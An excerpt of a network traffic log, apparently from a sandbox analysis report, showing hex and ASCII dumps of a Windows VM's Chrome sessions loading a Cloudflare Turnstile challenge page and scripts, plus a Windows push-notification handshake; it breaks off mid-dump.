2024-09-29 13:46:02 UTC	1369	IN	Data Raw: 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 66 3d 5b 6e 75 6c 6c 5d 3b 66 2e 70 75 73 68 2e 61 70 70 6c 79 28 66 2c 6c 29 3b 76 61 72 20 70 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 66 29 2c 73 3d 6e 65 77 20 70 3b 72 65 74 75 72 6e 20 67 26 26 4a 28 73 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 73 7d 2c 49 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 Data Ascii: uct:Ie=function(c,l,g){var f=[null];f.push.apply(f,l);var p=Function.bind.apply(c,f),s=new p;return g&&J(s,g.prototype),s},Ie.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Object.getPrototypeOf:function(a){return a.__proto__\|\|Object
2024-09-29 13:46:02 UTC	1369	IN	Data Raw: 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 57 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 57 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 57 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 54 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 69 66 28 55 28 72 2c 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 29 26 26 65 2e 74 65 73 74 28 72 Data Ascii: flare Turnstile] ".concat(e))}function qe(e){return e.startsWith(We)?e.substring(We.length):null}function K(e){return"".concat(We).concat(e)}function Tt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=document.currentScript;if(U(r,HTMLScriptElement)&&e.test(r
2024-09-29 13:46:02 UTC	1369	IN	Data Raw: 66 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b 76 61 72 20 73 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 73 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 66 65 65 64 62 61 63 6b 22 2c 73 2e 69 64 3d Data Ascii: f.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";var s=document.createElement("div");s.className="cf-turnstile-feedback",s.id=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49745	104.18.94.41	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:03 UTC	763	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/241b4/0x4AAAAAAAkADMcpklP8sqhD/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:03 UTC	1369	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 13:46:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 164892 Connection: close accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cross-origin-opener-policy: same-origin critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-resource-policy: cross-origin content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' origin-agent-cluster: ?1 referrer-policy: same-origin cross-origin-embedder-policy: require-corp document-policy: js-profiling permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()
2024-09-29 13:46:03 UTC	52	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 61 63 36 61 63 61 63 39 64 36 31 38 30 39 2d 45 57 52 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8cac6acac9d61809-EWR
2024-09-29 13:46:03 UTC	1317	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-09-29 13:46:03 UTC	1369	IN	Data Raw: 25 3b 6d 61 72 67 69 6e 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 Data Ascii: %;margin:0;overflow:hidden;padding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-web
2024-09-29 13:46:03 UTC	1369	IN	Data Raw: 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 73 75 63 63 65 73 73 2d 70 72 65 2d 69 20 6c 69 6e 65 7b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 Data Ascii: ght:30px;width:30px}#success-pre-i line{stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;st
2024-09-29 13:46:03 UTC	1369	IN	Data Raw: 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e Data Ascii: allenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark #challen
2024-09-29 13:46:03 UTC	1369	IN	Data Raw: 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 Data Ascii: dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-helper-loop
2024-09-29 13:46:03 UTC	1369	IN	Data Raw: 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 61 63 74 69 76 65 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 66 6f 63 75 73 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 36 36 33 37 39 7d 23 6c 6f 67 6f 7b 68 65 69 67 68 74 3a 32 35 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 70 78 7d 2e 66 61 69 6c 75 72 65 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 Data Ascii: ,#challenge-overlay a:link,#challenge-overlay a:visited{color:#232323}#challenge-overlay a:active,#challenge-overlay a:focus,#challenge-overlay a:hover{color:#166379}#logo{height:25px;margin-bottom:1px}.failure-circle{stroke-dasharray:166;stroke-dashoffse
2024-09-29 13:46:03 UTC	1369	IN	Data Raw: 6e 3a 61 6c 6c 20 2e 31 73 20 65 61 73 65 2d 69 6e 3b 77 69 64 74 68 3a 32 34 70 78 3b 7a 2d 69 6e 64 65 78 3a 39 39 39 38 7d 2e 63 62 2d 6c 62 20 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 2e 63 62 2d 6c 62 20 2e 63 62 2d 6c 62 2d 74 7b 67 72 69 64 2d 63 6f 6c 75 6d 6e 3a 32 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 63 6f 6e 74 65 6e 74 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c Data Ascii: n:all .1s ease-in;width:24px;z-index:9998}.cb-lb .cb-i:after{border-radius:5px;content:"";position:absolute}.cb-lb .cb-lb-t{grid-column:2;margin-left:8px}.size-compact{font-size:14px}.size-compact #content{align-items:flex-start;display:flex;flex-flow:col
2024-09-29 13:46:03 UTC	1369	IN	Data Raw: 72 74 6c 7d 2e 72 74 6c 20 2e 63 62 2d 6c 62 2d 74 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 72 74 6c 20 23 65 78 70 69 72 65 64 2d 69 2c 2e 72 74 6c 20 23 66 61 69 6c 2d 69 2c 2e 72 74 6c 20 23 6f 76 65 72 72 75 6e 2d 69 2c 2e 72 74 6c 20 23 73 70 69 6e 6e 65 72 2d 69 2c 2e 72 74 6c 20 23 73 75 63 63 65 73 73 2d 69 2c 2e 72 74 6c 20 23 74 69 6d 65 6f 75 74 2d 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 Data Ascii: rtl}.rtl .cb-lb-t{margin-left:0;margin-right:8px;padding:0}.rtl #expired-i,.rtl #fail-i,.rtl #overrun-i,.rtl #spinner-i,.rtl #success-i,.rtl #timeout-i{left:255px}.rtl #fr-helper{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px
2024-09-29 13:46:03 UTC	1369	IN	Data Raw: 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 65 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 66 6f 63 75 73 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c Data Ascii: challenge-error-title a{color:#232323}#challenge-error-title a:active,#challenge-error-title a:focus,#challenge-error-title a:hover{color:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#chall

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49744	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:03 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 5a 32 2f 4e 77 2b 61 72 34 45 53 41 39 55 4b 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 65 37 63 64 32 36 63 39 64 63 63 36 35 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: Z2/Nw+ar4ESA9UKm.1Context: 3e7cd26c9dcc652
2024-09-29 13:46:03 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-09-29 13:46:03 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 5a 32 2f 4e 77 2b 61 72 34 45 53 41 39 55 4b 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 65 37 63 64 32 36 63 39 64 63 63 36 35 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 41 53 65 66 6f 69 66 59 57 62 71 56 6d 78 74 71 59 63 32 42 54 5a 33 64 52 46 64 5a 74 2b 74 4e 63 74 66 55 4d 54 37 4b 75 49 76 2b 43 50 72 51 63 70 56 64 41 32 7a 6f 4f 51 4a 36 2b 67 49 76 58 30 47 47 43 52 61 5a 75 66 57 55 2f 77 49 33 51 2b 54 55 35 4f 68 33 39 68 39 61 70 4d 42 42 77 39 77 74 56 78 32 79 53 31 73 4a 41 Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: Z2/Nw+ar4ESA9UKm.2Context: 3e7cd26c9dcc652<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdASefoifYWbqVmxtqYc2BTZ3dRFdZt+tNctfUMT7KuIv+CPrQcpVdA2zoOQJ6+gIvX0GGCRaZufWU/wI3Q+TU5Oh39h9apMBBw9wtVx2yS1sJA
2024-09-29 13:46:03 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 5a 32 2f 4e 77 2b 61 72 34 45 53 41 39 55 4b 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 65 37 63 64 32 36 63 39 64 63 63 36 35 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: Z2/Nw+ar4ESA9UKm.3Context: 3e7cd26c9dcc652<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-09-29 13:46:03 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-29 13:46:03 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 37 64 57 4a 35 2b 2f 6e 30 45 4f 4b 6a 6a 61 7a 52 42 30 50 54 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 7dWJ5+/n0EOKjjazRB0PTQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49746	104.18.94.41	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:03 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cac6acac9d61809&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/241b4/0x4AAAAAAAkADMcpklP8sqhD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:04 UTC	301	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 13:46:04 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 122756 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8cac6acf8f90de94-EWR
2024-09-29 13:46:04 UTC	1068	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 71 5a 4a 79 54 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: 